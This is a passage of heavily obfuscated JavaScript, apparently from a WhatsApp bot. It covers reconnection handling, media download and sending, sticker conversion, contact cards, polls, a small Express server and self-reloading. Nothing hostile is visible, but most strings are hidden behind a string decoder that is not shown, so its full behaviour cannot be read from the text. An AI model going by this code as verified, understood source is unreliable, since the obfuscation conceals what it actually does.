_0x45f6f1=_0x4c5969;id=_0x50f6c9[_0x45f6f1(0x119)](_0x53cf24),_0x500014=_0x50f6c9[_0x45f6f1(0x1a1)]||_0x500014;let _0x57a409;if(id[_0x45f6f1(0x179)](_0x45f6f1(0x16a)))return new Promise(async _0x2f4b49=>{const _0x6a98a5=_0x45f6f1;_0x57a409=store['contacts'][id]||{},!(_0x57a409[_0x6a98a5(0x17c)]||_0x57a409['subject'])&&(_0x57a409=_0x50f6c9[_0x6a98a5(0x1b4)](id)||{}),_0x2f4b49(_0x57a409['name']||_0x57a409[_0x6a98a5(0x191)]||PhoneNumber('+'+id[_0x6a98a5(0x173)](_0x6a98a5(0xeb),''))['getNumber'](_0x6a98a5(0x1cb)));});else _0x57a409=id===_0x45f6f1(0x108)?{'id':id,'name':'WhatsApp'}:id===_0x50f6c9[_0x45f6f1(0x119)](_0x50f6c9[_0x45f6f1(0x133)]['id'])?_0x50f6c9['user']:store[_0x45f6f1(0x1c3)][id]||{};return(_0x500014?'':_0x57a409[_0x45f6f1(0x17c)])||_0x57a409[_0x45f6f1(0x191)]||_0x57a409[_0x45f6f1(0x19a)]||PhoneNumber('+'+_0x53cf24[_0x45f6f1(0x173)](_0x45f6f1(0xeb),''))['getNumber'](_0x45f6f1(0x1cb));},_0x50f6c9[_0x4c5969(0x129)]=!![],_0x50f6c9['serializeM']=_0x11dc90=>smsg(_0x50f6c9,_0x11dc90,store),_0x50f6c9['ev']['on'](_0x4c5969(0x10c),async _0x2142dc=>{const _0xfbfed6=_0x4c5969,{connection:_0x3ccb09,lastDisconnect:_0x493313}=_0x2142dc;try{if(_0x3ccb09===_0xfbfed6(0x15d)){let _0x33aa7f=new Boom(_0x493313?.[_0xfbfed6(0x16c)])?.[_0xfbfed6(0x11e)]['statusCode'];if(_0x33aa7f===DisconnectReason['badSession'])console[_0xfbfed6(0x11d)](_0xfbfed6(0x1c2)),_0x50f6c9[_0xfbfed6(0x120)]();else{if(_0x33aa7f===DisconnectReason[_0xfbfed6(0x1c5)])console[_0xfbfed6(0x11d)]('Connection\x20closed,\x20reconnecting....'),startBotz();else{if(_0x33aa7f===DisconnectReason[_0xfbfed6(0x141)])console[_0xfbfed6(0x11d)](_0xfbfed6(0x137)),startBotz();else{if(_0x33aa7f===DisconnectReason['connectionReplaced'])console[_0xfbfed6(0x11d)]('Connection\x20Replaced,\x20Another\x20New\x20Session\x20Opened,\x20Please\x20Close\x20Current\x20Session\x20First'),_0x50f6c9['logout']();else{if(_0x33aa7f===DisconnectReason[_0xfbfed6(0x199)])console['log'](_0xfbfed6(0x180)),_0x50f6c9[_0xfbfed6(0x120)]();else{if(_0x33aa7f===DisconnectReason[_0xfbfed6(0x175)])console[_0xfbfed6(0x11d)](_0xfbfed6(0x19e)),startBotz();else _0x33aa7f===DisconnectReason[_0xfbfed6(0xee)]?(console[_0xfbfed6(0x11d)](_0xfbfed6(0xf6)),startBotz()):_0x50f6c9[_0xfbfed6(0x1a2)](_0xfbfed6(0x160)+_0x33aa7f+'|'+_0x3ccb09);}}}}}}if(_0x2142dc[_0xfbfed6(0x166)]==_0xfbfed6(0x185)||_0x2142dc[_0xfbfed6(0x1cc)]=='true'){var _0x9fe86c=_0x50f6c9[_0xfbfed6(0x133)]['id'][_0xfbfed6(0x1ae)](':')[0x0]+_0xfbfed6(0xeb);console[_0xfbfed6(0x11d)]('Commands\x20Installation\x20Completed\x20✅'),_0x50f6c9['sendMessage'](_0x9fe86c,{'image':{'url':'https://files.catbox.moe/y9ysty.jpg'},'caption':_0xfbfed6(0x10e)}),console[_0xfbfed6(0x11d)](_0xfbfed6(0x11c));}}catch(_0x2ed92d){console[_0xfbfed6(0x11d)](_0xfbfed6(0x19b)+_0x2ed92d);}}),_0x50f6c9['ev']['on'](_0x4c5969(0x164),_0x379882),_0x50f6c9[_0x4c5969(0x19c)]=async(_0x5c392d,_0x2f03a1)=>{const _0x21aa84=_0x4c5969;let _0x131b55,_0x3b66f5;const _0x3e2021=Buffer['isBuffer'](_0x5c392d)?_0x5c392d:/^data:.*?\/.*?;base64,/i[_0x21aa84(0x1ca)](_0x5c392d)?Buffer[_0x21aa84(0x127)](_0x5c392d['split']`,`[0x1],_0x21aa84(0x100)):/^https?:\/\//[_0x21aa84(0x1ca)](_0x5c392d)?await(_0x131b55=await fetch(_0x5c392d))['buffer']():fs[_0x21aa84(0x111)](_0x5c392d)?(_0x3b66f5=_0x5c392d,fs[_0x21aa84(0x1c9)](_0x5c392d)):typeof _0x5c392d==='string'?_0x5c392d:Buffer['alloc'](0x0);if(!Buffer['isBuffer'](_0x3e2021))throw new TypeError(_0x21aa84(0x14f));const _0x279e33=await FileType[_0x21aa84(0x130)](_0x3e2021)||{'mime':_0x21aa84(0xf4),'ext':'.bin'};return _0x3e2021&&_0x2f03a1&&!_0x3b66f5&&(_0x3b66f5=_0x505eec[_0x21aa84(0x186)](__dirname,_0x21aa84(0x14c)+new Date()*0x1+'.'+_0x279e33[_0x21aa84(0x178)]),await fs[_0x21aa84(0x131)][_0x21aa84(0x151)](_0x3b66f5,_0x3e2021)),{'res':_0x131b55,'filename':_0x3b66f5,..._0x279e33,'data':_0x3e2021,'deleteFile'(){const _0x4162a0=_0x21aa84;return _0x3b66f5&&fs[_0x4162a0(0x131)][_0x4162a0(0x1b2)](_0x3b66f5);}};},_0x50f6c9[_0x4c5969(0x15f)]=async _0x49ead7=>{const _0x15a8b3=_0x4c5969;let _0x49777a=(_0x49ead7[_0x15a8b3(0x1c6)]||_0x49ead7)[_0x15a8b3(0x11b)]||'',_0x516e60=_0x49ead7[_0x15a8b3(0x158)]?_0x49ead7[_0x15a8b3(0x158)][_0x15a8b3(0x173)](/Message/gi,''):_0x49777a[_0x15a8b3(0x1ae)]('/')[0x0];const _0x55ba2c=await downloadContentFromMessage(_0x49ead7,_0x516e60);let _0x1cf602=Buffer['from']([]);for await(const _0x2208b7 of _0x55ba2c){_0x1cf602=Buffer['concat']([_0x1cf602,_0x2208b7]);}return _0x1cf602;},_0x50f6c9['sendContact']=async(_0x348d01,_0x53ca5b,_0x11225b='',_0x15995e={})=>{const _0x5deefd=_0x4c5969;let _0x5860c9=[];for(let _0x238c12 of _0x53ca5b){_0x5860c9[_0x5deefd(0x1b7)]({'displayName':await _0x50f6c9[_0x5deefd(0x148)](_0x238c12),'vcard':_0x5deefd(0x174)+await _0x50f6c9['getName'](_0x238c12)+'\x0aFN:'+await _0x50f6c9[_0x5deefd(0x148)](_0x238c12)+_0x5deefd(0x11a)+_0x238c12[_0x5deefd(0x1ae)]('@')[0x0]+':'+_0x238c12['split']('@')[0x0]+_0x5deefd(0x152)});}_0x50f6c9[_0x5deefd(0x1bd)](_0x348d01,{'contacts':{'displayName':_0x5860c9[_0x5deefd(0x156)]+'\x20Contact','contacts':_0x5860c9},..._0x15995e},{'quoted':_0x11225b});},_0x50f6c9[_0x4c5969(0xfc)]=async(_0x5a8523,_0x1c1108,_0x4ea2c4='',_0x2cb3f6='',_0x32504d,_0x264641=![],_0x24e45f={})=>{const _0x23a6c5=_0x4c5969;let _0x18f661=await _0x50f6c9[_0x23a6c5(0x19c)](_0x1c1108,!![]),{res:_0x571f56,data:_0x1de89a,filename:_0x2f1368}=_0x18f661;if(_0x571f56&&_0x571f56[_0x23a6c5(0x15e)]!==0xc8||_0x1de89a[_0x23a6c5(0x156)]<=0x10000)try{throw{'json':JSON[_0x23a6c5(0x182)](_0x1de89a[_0x23a6c5(0x132)]())};}catch(_0x400d4e){if(_0x400d4e[_0x23a6c5(0xf9)])throw _0x400d4e[_0x23a6c5(0xf9)];}let _0xaeebb1={'filename':_0x4ea2c4};_0x32504d&&(_0xaeebb1[_0x23a6c5(0x1c7)]=_0x32504d);!_0x18f661&&(_0x24e45f[_0x23a6c5(0x1a4)]=!![]);let _0x568f90='',_0x443213=_0x18f661[_0x23a6c5(0x14b)],_0x33fd41;if(/webp/[_0x23a6c5(0x1ca)](_0x18f661[_0x23a6c5(0x14b)])||/image/[_0x23a6c5(0x1ca)](_0x18f661[_0x23a6c5(0x14b)])&&_0x24e45f[_0x23a6c5(0x15a)])_0x568f90='sticker';else{if(/image/[_0x23a6c5(0x1ca)](_0x18f661[_0x23a6c5(0x14b)])||/webp/['test'](_0x18f661[_0x23a6c5(0x14b)])&&_0x24e45f['asImage'])_0x568f90='image';else{if(/video/[_0x23a6c5(0x1ca)](_0x18f661[_0x23a6c5(0x14b)]))_0x568f90=_0x23a6c5(0x196);else/audio/['test'](_0x18f661[_0x23a6c5(0x14b)])?(_0x33fd41=await(_0x264641?toPTT:toAudio)(_0x1de89a,_0x18f661['ext']),_0x1de89a=_0x33fd41[_0x23a6c5(0x138)],_0x2f1368=_0x33fd41[_0x23a6c5(0x115)],_0x568f90=_0x23a6c5(0x18f),_0x443213=_0x23a6c5(0x142)):_0x568f90=_0x23a6c5(0xf7);}}_0x24e45f[_0x23a6c5(0x1a4)]&&(_0x568f90='document');let _0x34cd07={..._0x24e45f,'caption':_0x2cb3f6,'ptt':_0x264641,[_0x568f90]:{'url':_0x2f1368},'mimetype':_0x443213},_0xca3bba;try{_0xca3bba=await _0x50f6c9[_0x23a6c5(0x1bd)](_0x5a8523,_0x34cd07,{..._0xaeebb1,..._0x24e45f});}catch(_0x49e60f){console[_0x23a6c5(0x16c)](_0x49e60f),_0xca3bba=null;}finally{return!_0xca3bba&&(_0xca3bba=await _0x50f6c9[_0x23a6c5(0x1bd)](_0x5a8523,{..._0x34cd07,[_0x568f90]:_0x1de89a},{..._0xaeebb1,..._0x24e45f})),_0xca3bba;}},_0x50f6c9[_0x4c5969(0x187)]=async(_0x3cb8f9,_0xc33f60,_0x577c81,_0x901cf0={})=>{const _0x3d7314=_0x4c5969;let _0x54c688=Buffer[_0x3d7314(0xfa)](_0xc33f60)?_0xc33f60:/^data:.*?\/.*?;base64,/i[_0x3d7314(0x1ca)](_0xc33f60)?Buffer[_0x3d7314(0x127)](_0xc33f60['split']`,`[0x1],_0x3d7314(0x100)):/^https?:\/\//[_0x3d7314(0x1ca)](_0xc33f60)?await await getBuffer(_0xc33f60):fs[_0x3d7314(0x111)](_0xc33f60)?fs[_0x3d7314(0x1c9)](_0xc33f60):Buffer[_0x3d7314(0x183)](0x0),_0x398694;return _0x901cf0&&(_0x901cf0[_0x3d7314(0x13d)]||_0x901cf0['author'])?_0x398694=await writeExifVid(_0x54c688,_0x901cf0):_0x398694=await videoToWebp(_0x54c688),await _0x50f6c9[_0x3d7314(0x1bd)](_0x3cb8f9,{'sticker':{'url':_0x398694},..._0x901cf0},{'quoted':_0x577c81}),_0x398694;},_0x50f6c9[_0x4c5969(0x1c1)]=async(_0x386d5c,_0x5d0c10,_0x4eb2ec=!![])=>{const _0xf6b6be=_0x4c5969;let _0x320e58=_0x386d5c[_0xf6b6be(0x1c6)]?_0x386d5c['msg']:_0x386d5c,_0x50e4b0=(_0x386d5c[_0xf6b6be(0x1c6)]||_0x386d5c)[_0xf6b6be(0x11b)]||'',_0xe9c382=_0x386d5c['mtype']?_0x386d5c[_0xf6b6be(0x158)][_0xf6b6be(0x173)](/Message/gi,''):_0x50e4b0[_0xf6b6be(0x1ae)]('/')[0x0];const _0x15d496=await downloadContentFromMessage(_0x320e58,_0xe9c382);let _0x2f1b1e=Buffer[_0xf6b6be(0x127)]([]);for await(const _0x3642cd of _0x15d496){_0x2f1b1e=Buffer[_0xf6b6be(0x197)]([_0x2f1b1e,_0x3642cd]);}let _0xe53cb0=await FileType[_0xf6b6be(0x130)](_0x2f1b1e);return trueFileName=_0x4eb2ec?_0x5d0c10+'.'+_0xe53cb0[_0xf6b6be(0x178)]:_0x5d0c10,await fs['writeFileSync'](trueFileName,_0x2f1b1e),trueFileName;};const _0x505eec=require(_0x4c5969(0xff));return _0x50f6c9[_0x4c5969(0x1c1)]=async(_0x9e417a,_0x5b94e9,_0x260ebf=!![])=>{const _0xa63f81=_0x4c5969;let _0x391403=_0x9e417a[_0xa63f81(0x1c6)]?_0x9e417a[_0xa63f81(0x1c6)]:_0x9e417a,_0x526f7e=(_0x9e417a['msg']||_0x9e417a)[_0xa63f81(0x11b)]||'',_0x611ea=_0x9e417a[_0xa63f81(0x158)]?_0x9e417a[_0xa63f81(0x158)][_0xa63f81(0x173)](/Message/gi,''):_0x526f7e[_0xa63f81(0x1ae)]('/')[0x0];const _0x5cc0a1=await downloadContentFromMessage(_0x391403,_0x611ea);let _0x4cd781=Buffer[_0xa63f81(0x127)]([]);for await(const _0x26158c of _0x5cc0a1){_0x4cd781=Buffer['concat']([_0x4cd781,_0x26158c]);}let _0x3afeab=await FileType[_0xa63f81(0x130)](_0x4cd781),_0x3cd8d0=_0x260ebf?_0x5b94e9+'.'+_0x3afeab[_0xa63f81(0x178)]:_0x5b94e9,_0x2c22f1=_0x505eec[_0xa63f81(0x186)](__dirname,'tmp',_0x3cd8d0);return await fs[_0xa63f81(0x195)](_0x2c22f1,_0x4cd781),_0x2c22f1;},_0x50f6c9[_0x4c5969(0x1c8)]=async(_0xae2e48,_0x314959,_0x5593e2,_0x28f33c={})=>{const _0x400843=_0x4c5969;let _0x5f3cb8=Buffer[_0x400843(0xfa)](_0x314959)?_0x314959:/^data:.*?\/.*?;base64,/i['test'](_0x314959)?Buffer['from'](_0x314959['split']`,`[0x1],_0x400843(0x100)):/^https?:\/\//['test'](_0x314959)?await await getBuffer(_0x314959):fs[_0x400843(0x111)](_0x314959)?fs['readFileSync'](_0x314959):Buffer[_0x400843(0x183)](0x0),_0x29ba64;return _0x28f33c&&(_0x28f33c[_0x400843(0x13d)]||_0x28f33c[_0x400843(0x134)])?_0x29ba64=await writeExifImg(_0x5f3cb8,_0x28f33c):_0x29ba64=await imageToWebp(_0x5f3cb8),await _0x50f6c9[_0x400843(0x1bd)](_0xae2e48,{'sticker':{'url':_0x29ba64},..._0x28f33c},{'quoted':_0x5593e2}),_0x29ba64;},_0x50f6c9[_0x4c5969(0x145)]=(_0x30ba8b,_0x5ed3fa='',_0x3cf14d=[],_0x4fd609=0x1)=>{const _0x15e9c2=_0x4c5969;return _0x50f6c9[_0x15e9c2(0x1bd)](_0x30ba8b,{'poll':{'name':_0x5ed3fa,'values':_0x3cf14d,'selectableCount':_0x4fd609}});},_0x50f6c9['sendText']=(_0x2c1e20,_0x58075c,_0x35e723='',_0x513da3)=>_0x50f6c9[_0x4c5969(0x1bd)](_0x2c1e20,{'text':_0x58075c,..._0x513da3},{'quoted':_0x35e723}),_0x50f6c9;}app['get']('/',(_0x205769,_0x32cdfd)=>{const _0x1a3ade=a0_0x51992b,_0x17f1af=_0x1a3ade(0x167);_0x32cdfd['send'](_0x17f1af);}),app[a0_0x51992b(0x17d)](port,()=>{const _0x54be4b=a0_0x51992b;console[_0x54be4b(0x11d)]('Server\x20is\x20listening\x20on\x20port\x20'+port);}),startBotz();let file=require[a0_0x51992b(0x1a9)](__filename);fs['watchFile'](file,()=>{const _0x2bbf2=a0_0x51992b;fs['unwatchFile'](file),console[_0x2bbf2(0x11d)](_0x2bbf2(0x103)+__filename),delete require[_0x2bbf2(0x17f)][file],require(file);});